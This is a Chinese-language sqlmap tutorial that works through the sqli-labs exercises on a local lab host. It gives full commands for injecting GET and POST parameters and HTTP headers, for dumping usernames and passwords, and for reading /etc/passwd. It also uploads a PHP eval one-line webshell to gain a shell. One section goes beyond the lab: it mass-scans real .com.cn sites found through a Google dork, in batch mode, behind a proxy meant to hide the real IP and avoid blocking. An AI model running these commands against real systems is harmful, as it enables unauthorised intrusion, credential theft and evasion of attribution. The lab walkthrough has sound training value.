一、確定目標
使用sqlmap的第一步是確定探測的目標,一般有四種:
- 數據庫
- URL
- 文件
- Google批量掃
環境
Target IP: 192.168.8.133
Port: 13306(Mysql)、8088(sqli_labs)
mysql: docker pull的最新mysql
sqlmap github:https://github.com/sqlmapproject/sqlmap
直連數據庫
直連數據庫獲得旗標
python sqlmap.py -d "mysql://root:root@192.168.8.133:13306/demo1" -f --banner
- -d 表示直連
- mysql 表示數據庫類型
- root 用戶名
- root 密碼
- 192.168.8.133:13306 IP和端口
- demo1 數據庫
- -f 獲取指紋
- --banner 獲取旗標
直連數據庫獲得用戶及權限
python sqlmap.py -d "mysql://root:root@192.168.8.133:13306/demo1" -f --banner -users
- -users 獲得用戶及權限
URL探測
sqlmap直接對單一URL探測,參數使用-u
或--url
GET請求
核心命令:sqlmap -u "url"
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/index.php?id=1" --banner
POST請求
核心命令:sqlmap -u "url" --data "post數據"
python sqlmap.py -u "http://192.168.8.133:8088/Less-12/index.php" -f --banner --data "uname=admin&passwd=admin&submit=Submit"
- --data表示對參數進行注入
有多個注入點時需要選擇以哪個參數進行注入
文件讀取目標
sqlmap支持從不同類型的文件中讀取目標進行sql注入探測
-l
- http請求日志文件
從Burpsuite proxy 或 WebScarab proxy中讀取http請求日志文件
1. 設置BurpSuite
2. BurpSuite訪問站點-生成http請求日志
3. 文件讀取目標
python sqlmap.py -l testburp
-m
- 多行文本格式文件
從多行文本格式文件讀取多個目標,對多個目標進行探測
文本讀取目標
python sqlmap.py -m multest.txt -f --banner
探測到了兩個目標,less12因為是POST請求,無法使用這種方式爆破
拿到指紋和旗幟
-r
- 文本文件中的http請求
從文本文件中讀取http請求作為sql注入探測的目標
1. BurpSuite訪問站點 - 拿到http請求信息
以less19為例,是http頭referer注入
登陸成功的http請求,將referer:
之后的內容改成*
2. 文本讀取目標
python sqlmap.py -r httpinfo.txt --dbs
-c
- 配置文件
從配置文件sqlmap.conf中讀取目標探測
文本讀取目標
python sqlmap.py -c sqlmap.conf --dbs
-x
- 站點地圖文件
- -x 從sitemap.xml站點地圖文件中讀取目標探測
Google批量掃注入
sqlmap通過-g自動利用Google獲取指定Google hack的目標,然后利用交互問導模式進行sql注入探測
例如:python sqlmap.py -g "inurl:.php?id=1"
python sqlmap.py -g "inurl:.php?id=10 site:.com.cn" \ # 站點包括.com.cn,url包括.php?id=10
--proxy "http://127.0.0.1:8080" \ # 掛代理,防止被封,同時為了訪問google
--threads 5 --batch \ # 開5個線程 自動問詢
--answer "extendina=N,follow=N,keep=N,exploit=n" \ # 自動化注入中使用,對一些特定問題回答
--smart # 智能化探測,只檢查基于錯誤的注入點
二、注入實操
GET請求注入
(一) 探測數據庫名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --dbs --batch
- --batch 批處理操作,不需要回答yes or no的問題
(二) 探測表名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security --tables --batch
- -D security 數據庫為security
- --tables 探測數據表
(三) 探測字段名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security -T users --columns --batch
- -T users 表為users
- --columns 探測字段名
(四) 探測字段值
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security -T users -C username, password --dump --batch
- -C username,password 選擇username,password字段
- --dump 獲取字段值
(五) 讀取敏感文件 - file-read
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --file-read '/etc/passwd' --output-dir "D:\Tools\Web\sqlmap\output" --batch
--file-read
讀取文件--output-dir "D:\Tools\Web\sqlmap\output"
設定輸出位置
(六) 上傳一句話木馬 - file-write
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --file-write 'D:\path\to\muma.php' --file-dest '/var/www/html/muma4.php' --batch
--file-write 'D:\path\to\muma.php'
從本地讀取木馬--file-dest '/var/www/html/muma4.php'
上傳木馬到遠程目錄
木馬內容為<?php @eval($_POST['bb']); ?>
,上傳成功后用webshell工具連接
成功拿下shell
POST請求注入
以less12為例
復制Burpsuite截斷的http請求數據包到文本文件中,使用sqlmap -r 文件路徑 -p 指定探測參數
(一) 獲取http請求信息
bp抓包獲得Less12的包,然后將raw格式http數據賦值到sqlinject_Less12.txt
文本文件中
(二) 測試參數passwd
是否是注入點
sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E
--technique E
探測的技術選擇為基于錯誤信息-p uname
探測的參數選擇為passwd
(三) 測試當前數據庫
sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E --current-db
--current-db
獲取當前數據庫
POST請求盲注
以less15為例
(一) 獲得http請求生成target.txt文件
(二) 使用基于時間技術的sqlmap探測
python sqlmap.py -r target.txt --technique T -p uname --dbs --batch
- --technique T 探測的技術選擇為時間
- -p uname 探測的參數選擇為uname
sqlmap進行http頭注入
以less19為例
(一) sqlmap自動搜索表單提交內容進行探測(無效)
python sqlmap.py -u "http:/192.168.8.133:8088/Less-19/index.php" --forms
行不通原因
源代碼中對username和password字典進行了過濾
(二) 指定參數探測SQL注入(無效)
python sqlmap.py -u "http:/192.168.8.133:8088/Less-19/index.php" --data "uname=admin&passwd=admin&submit=Submit"
行不通原因
參數在源代碼中已經過濾過,所以不會成功
(三) 解決方案 - 文件讀取目標
指定注入位置進行注入,在保存的文件中,對于參數的修改為*,保存在txt文檔中
python sqlmap.py -r httpinfo.txt --dbs
sqlmap Tamper腳本注入
sqlmap提供了很多腳本方便注入時使用,具體腳本位置為sqlmap下面的tamper目錄
使用方法
以less33為例,寬字節注入
python sqlmap.py -u "192.168.8.133:8088/Less-33/?id=1" --tamper unmagicquotes --dbs
三、其他參數
性能優化參數
--keep-alive
設置持久連接,加快探測速度--null-connection
檢索沒有body響應的內容,多用于盲注--thread
最大為10設置多線程-o
開啟所有默認性能優化-smart
快速判斷,只留下有回顯的注入點,節約時間--delay 時間
設置延遲 當頁面無變化,布爾無真假,從來不報錯時用延時注入--timeout 時間
設置超時--retries 次數
設置重新連接次數
等級參數
--level 1-5
執行的測試等級,cookie在2時測試,use-agent在3時測試--batch?
自動選擇yes--risk?
執行風險等級,默認為1,2增加基于事件的測試語句,3增加or語句的sql測試(注釋被過濾掉時,需要用or測試)
代理參數
隱藏自己的真實ip
--proxy http://ip:端口
--proy-file
使用一個包含多條代理的文件中的代理- 利用burp代理,隱藏真實地址
python sqlmap.py -g "inurl:.php?id=10 site:.com.cn" \ # 站點包括.com.cn,url包括.php?id=10
--proxy "http://127.0.0.1:8080" \ # 掛burp代理,隱藏真實地址
--threads 5 --batch \ # 開5個線程 自動問詢
--answer "extendina=N,follow=N,keep=N,exploit=n" \ # 自動化注入中使用,對一些特定問題回答
--smart # 智能化探測,只檢查基于錯誤的注入點